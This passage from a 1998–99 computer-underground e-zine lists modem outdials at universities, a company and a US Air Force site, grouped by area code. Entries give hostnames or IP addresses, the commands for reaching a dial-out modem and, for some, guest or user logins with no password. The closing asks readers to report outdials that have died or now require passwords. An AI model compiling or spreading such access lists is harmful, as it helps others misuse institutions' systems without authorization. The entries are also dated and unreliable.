  513          r596adi1.uc.edu
  514          pacx.CC.UMontreal.CA         externe#9 9xxx-xxxx
  517          engdial.cl.msu.edu
  602          dial9600.telcom.arizona.edu
  603          dialout1200.unh.edu
  604          dial24-nc00.net.ubc.ca
  604          dial24-nc01.net.ubc.ca
  604          dial96-np65.net.ubc.ca
  604          gmodem.capcollege.bc.ca
  604          hmodem.capcollege.bc.ca
  609          128.119.131.11X (X= 1 - 4)   Hayes
  609          129.119.131.11x  (x = 1 to 4)
  609          wright-modem-1.rutgers.edu
  609          wright-modem-2.rutgers.edu
  612          modem_out12e7.atk.com
  612          modem_out24n8.atk.com
  614          ns2400.ircc.ohio-state.edu   "dial"
  615          dca.utk.edu                  dial2400 D 99k #
  615          MATHSUN23.MATH.UTK.EDU       dial 2400  d  99Kxxxxxxx
  616          modem.calvin.edu
  617          128.52.30.3                  2400baud
  617          dialout.lcs.mit.edu
  617          dialout1.princeton.edu
  617          isdn3.Princeton.EDU
  617          jadwingymkip0.Princeton.EDU
  617          lord-stanley.Princeton.EDU
  617          mpanus.Princeton.EDU
  617          mrmodem.wellesley.edu
  617          old-dialout.Princeton.EDU
  617          stagger.Princeton.EDU
  617          sunshine-02.lcs.mit.edu
  617          waddle.Princeton.EDU
  619          128.54.30.1                  atdt [area][phone]
  619          dialin.ucsd.edu              "dialout"
  703          modem_pool.runet.edu
  703          wal-3000.cns.vt.edu
  713          128.249.27.154               "c modem96"  "atdt 9xxx-xxxx"
    or "Hayes"
  713          modem12.bcm.tmc.edu
  713          modem24.bcm.tmc.edu
  713          modem24.bcm.tmc.edu
  714          mdmsrv7.sdsu.edu             atdt 8xxx-xxxx
  714          modem24.nts.uci.edu
  714          pub-gopher.cwis.uci.edu
  801          dswitch.byu.edu              "C Modem"
  808          irmodem.ifa.hawaii.edu
  902          star.ccs.tuns.ca             "dialout"
  916          129.137.33.72
  916          cc-dnet.ucdavis.edu          connect hayes/dialout
  916          engr-dnet1.engr.ucdavis.edu  UCDNET <ret> C KEYCLUB <ret>
  ???          128.119.131.11X              (1 - 4)
  ???          128.200.142.5
  ???          128.54.30.1                  nue, X to discontinue, ? for Help
  ???          128.6.1.41
  ???          128.6.1.42
  ???          129.137.33.72
  ???          129.180.1.57
  ???          140.112.3.2                  ntu            <none>
  ???          annexdial.rz.uni-duesseldorf.de
  ???          dial96.ncl.ac.uk
  ???          dialout.plk.af.mil
  ???          ee21.ee.ncu.edu.tw           cs8005
  ???          im.mgt.ncu.edu.tw            guest           <none>
  ???          modem.cis.uflu.edu
  ???          modem.ireq.hydro.qc.ca
  ???          modems.csuohio.edu
  ???          sparc20.ncu.edu.tw           u349633
  ???          sun2cc.nccu.edu.tw           ?
  ???          ts-modem.une.oz.au
  ???          twncu865.ncu.edu.tw          guest           <none>
  ???          vtnet1.cns.ut.edu            "CALL" or "call"


Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
       the original publication]

SECTION B CONTINUED

Don´t forget to discuss this issue on the OSAll BBSystem!

All content copyright 1998 - 99 unless book covers or otherwise noted.  Book covers copyright 1998 - 99 Amazon.com.  All OSAll-owned content may be reprinted with the following header added: "Copyright 1998 - 99 Owl Services.  Visit aviary-mag.com for computer security news and information."  Article authors retain a non-exclusive right to republish their work.   324